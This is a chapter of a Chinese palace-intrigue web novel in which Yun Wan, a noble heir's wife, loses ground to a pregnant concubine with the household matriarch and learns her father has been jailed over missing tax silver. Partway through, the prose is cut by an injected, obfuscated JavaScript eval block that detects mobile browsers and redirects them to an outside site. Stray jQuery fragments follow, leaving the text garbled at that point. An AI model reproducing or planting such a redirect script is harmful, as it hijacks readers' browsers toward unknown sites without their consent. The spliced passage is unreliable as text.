3. 第 3 章

作品:《娇养外室

    所以她最后对宇文麟说的那句“望世子共勉”,就是在委婉地提醒他,不要做宠妾灭妻的事。


    但是看样子对方好像没有听进去,云挽回到自己的院子,坐在书案前,看着满桌还未看完的账本,一时竟觉得这个世子夫人当得着实有些没意思。


    “小姐,你还好吗?”


    云梦沏了壶云挽最喜欢的花茶,倒了一杯递给她。


    “呵,还好,死不了,我就知道高门贵妇不是那么好当的,不过只是一个妾,不过只是一个庶子,她最后能不能生个儿子还不好说呢,你小姐我也没什么好怕的,如今府里的掌家权可是在我手上。”


    云挽情绪不过低落了一瞬,很快她就重新打起了精神,她可是明媒正娶的世子夫人,还在府中经营了三年,难道还斗不过一个手无寸铁的柔弱小妾?


    花无百日红,人无千日好,以后的日子还长着,他们走着瞧。


    冯寒月进府只带了一个贴身丫鬟,其他的一应都需要云挽这个当家主母帮她置办,不过云挽推脱自己要处理中馈抽不出手来,便把此事交给了老夫人身边的古嬷嬷。


    古嬷嬷欢欢喜喜地接下了这个差事,她早就看清冯寒月才是世子最喜欢的女人,世子夫人以后只是纸老虎,即使得罪了也不足为惧。


    但没人知道,古嬷嬷的内心还有一个更大胆的想法,她想让自己的女儿绿芙去做世子的姨娘,生个孩子,再去求老夫人放他们一家脱离奴籍,这样她的后人就不用世代为奴为婢伺候人了。


    所以她想知道那个冯寒月是用什么手段勾引到世子的,也让绿芙跟着学习学习,以后成了姨娘刚好能用上。


    一个带着目的讨好,一个进府后小心谨慎,冯寒月和古嬷嬷相处地还算不错,不知不觉间居然从古嬷嬷那知道了不少老夫人的喜好。


    三月三,上巳节,云挽和往日一样清晨便来到寿康院请安,不想今天比以往多了一个人。


    “姐姐好,听古嬷嬷说姐姐自从嫁进来便每日都要晨昏定省,一日都不曾懈怠,妾如今身为府里的一份子,自然要以姐姐为榜样,来给老夫人请安。”


    冯寒月的身材十分匀称,即使肚子微凸也不显臃肿,反而有种即将做母亲的温柔,她今天穿了一件淡紫色的素雅长裙,衬得她整个人如一朵空谷幽兰,配上她那张精致如小白花的脸,是个男人看了都想拥入怀中好好呵护。


    云挽不想和她说话,只看了她一眼就不管了,她喜欢站就站吧,真是难为她一个孕妇起这么早来做样子。


    其实按照规矩,只有正妻和子嗣才有资格到老夫人院子里请安,妾室通房之类的,只需等正妻回去后向正妻请安即可。


    冯寒月今天过来向老夫人请安,完全就是不懂规矩,嘴上说什么向自己学习,其实就是想越俎代庖,挑战她的地位。


    云挽不想和她在这里吵起来,免得打扰到老夫人,所以就当没看见,老夫人最是看重规矩,冯寒月就算想讨好也不是那么容易的。


    早春风凉,云挽早有准备穿得保暖,倒是冯寒月为了打扮漂亮穿得很薄,现在就要站在寒风中受冻了。


    “世子夫人,冯姨娘,老夫人让你们进来等。”


    就在云挽看到冯寒月瑟瑟发抖而心中暗喜时,突然古嬷嬷打开门走了出来,对他们说道。


    云挽心中一惊,一股酸涩涌上心头。


    她这三年来不管是刮风下雨,还是起风下雪,她都日复一日的来请安,恭恭敬敬地站在门口不敢逾越,结果今天不过是刮了点风,老夫人就着急让冯寒月进去等着,生怕她生病。


    她明白自己只是顺带的那一个,毕竟自己肚子里可没有那块宝贝肉。


    忍下心中的不忿,云挽和冯寒月没坐多久,老夫人就出来了。


    “给老夫人请安。”


    云挽起身行礼,冯寒月也跟着行礼。


    “都起来吧,冯姨娘,孩子最近可好?刚好我身边的张嬷嬷回来,她最擅长照顾有身孕的女子,让她在你身边服侍我比较放心。”


    老夫人抬手一指,一位面容慈祥的老嬷嬷走到冯寒月面前行礼。


    “奴婢张氏,承蒙老夫人抬爱,被派到冯姨娘身边服侍,还希望冯姨娘不要嫌弃老身啰嗦。”


    “张嬷嬷你快起来,妾和孩子以后可都要靠你照顾了。”


    冯寒月满脸喜悦的将张嬷嬷扶起,然后起身来到老夫人面前,接过身后丫鬟一直捧着的盒子,打开里面是做工精美的抹额。


    “老夫人,妾没有什么能拿得出手的东西,这是妾亲手绣的抹额,希望老夫人能够喜欢。”


    冯寒月将抹额拿出来给古嬷嬷,然后语气感激地说道:“妾自知自己身份低微,能得世子爷垂怜已是莫大的幸事,妾不敢奢求太多,只愿以后和孩子一起孝敬老夫人。”


    冯寒月这话说得漂亮,即使连老夫人这样古怪的人听着都十分顺耳,再把冯寒月与呆坐在一旁的云挽放在一起比较,老夫人越看她越顺眼。


    云挽入府几年,给她亲手做东西的次数屈指可数,每天来请安也板着个脸,屁股没坐热就要走,好像她是什么洪水猛兽似的。


    哪会像冯寒月这样亲亲热热地讨好她,感谢她,把她当祖宗供着。


    不管是谁都会喜欢冯寒月这样捧着自己的人吧。


    “好好好,你有这份心就好,古嬷嬷去请府医来,这一路马车颠簸,也不知道你的身体怎么样了。”


    老夫人现在最看重血脉传承,即使是庶子,也是宇文麟的亲生孩子,如果养在嫡母名下也可充作嫡子,总比什么都没有好。


    云挽看着冯寒月尽力讨好老夫人的模样,似乎看到了自己当初刚进府的样子,那时的她对老夫人也是这样讨好。


    就算老夫人因为孙子出征心情不好,她也会没事就来陪陪她,与她说说话,直到她后来接手了府中的事务,每天都忙得脚不沾地,渐渐忽略了老夫人这边。


    等她将府中的事务理顺,老夫人就开始变得阴晴不定,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762865|174459||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    难以相处了。


    云挽不知道自己到底做错了什么,她也曾请教过古嬷嬷,可是古嬷嬷口风很严,根本打听不出什么,于是日子就这么不咸不淡地过了下去。


    “孙媳还有账本要看,先行告退了。”


    云挽见两人一直说个没完,她坐在这里就像个看戏的局外人一般,她还不如回去看账本。


    “等等,麟儿这几天都在外面忙公务,你身为他的妻子要好好照顾他,不要让他连觉都睡不好。”


    李氏听说宇文麟这几日居然都是歇在冯寒月的潇湘阁,而不是前院自己的院子,自然要敲打一下作为正妻的云挽。


    “潇湘阁那么小,麟儿怎么能安稳休息,你快点派人将文荷院收拾好,不要一直拖着,而且冯姨娘肚子里的孩子也等不了了。”


    宇文麟跟老夫人提了一嘴,准备等文荷院收拾好,就给冯寒月办纳妾仪式,而且还要大办一场。


    “孙媳知道了,现在就去看看文荷院的情况。”


    云挽低头应道,府里的大事小事都要她来管,她根本没有时间去看文荷院到底弄成什么样了,既然老夫人特地提了出来,她自然要去关心关心。


    “去吧。”


    真是没用。


    老夫人在心里嘀咕了一句,她越来越觉得云挽碍眼了,要是能把云挽休了,再给自家千好万好的孙儿,娶个能在仕途上有助益的高门贵女回来还差不多。


    不过云挽这三年并没有犯什么大错,想要休她还需要好好谋划。


    云挽不知道老夫人的恶毒心思,她在老夫人这里因为冯寒月受了气,自然想找回场子。


    今天的晚膳她故意选了最近特别流行的陵江银鱼,刺少肉嫩,味道鲜美,十分有营养,自从在元宵宴上被皇上亲口赞赏后,直接在京城官宦贵族圈子里风靡了起来。


    根据云挽安插在潇湘阁的眼线反映,冯寒月身孕刚三四个月,正是孕反严重的时候,每次吃饭都要用新鲜的柑橘压制呕吐,才能吃下一点点。


    所以就算那银鱼再好吃,用清淡的做法也有一股鱼腥味,云挽不信她闻着鱼汤不会恶心难受,最好把胆汁都吐出来。


    待到午饭时,云挽听着潇湘阁那边传来请大夫的消息,就着鲜美的鱼汤多吃了一碗饭。


    可惜她的好心情没有持续多久。


    宇文麟今晚下值带回来了一个坏消息,她父亲因为卷入税银盗窃一案,被当成嫌疑人下了大牢。


    西南三省缴纳的一千五百万两的税银,在太府寺的库房里不翼而飞。


    云挽的父亲作为记录税银入库的太府寺丞,是直接接触人,也是最有嫌疑的,事发后被大理寺带人直接抓进大牢中进行审问。


    “不可能,我父亲是不会偷税银的,世子你是知道的,我父亲一向正直无私,刚正不阿,为此还得罪了不少人,他怎么可能会去偷税银呢?”


    云挽一下子失去了全身的力气,腿软到没办法站起来,抓着宇文麟的衣摆大声质问。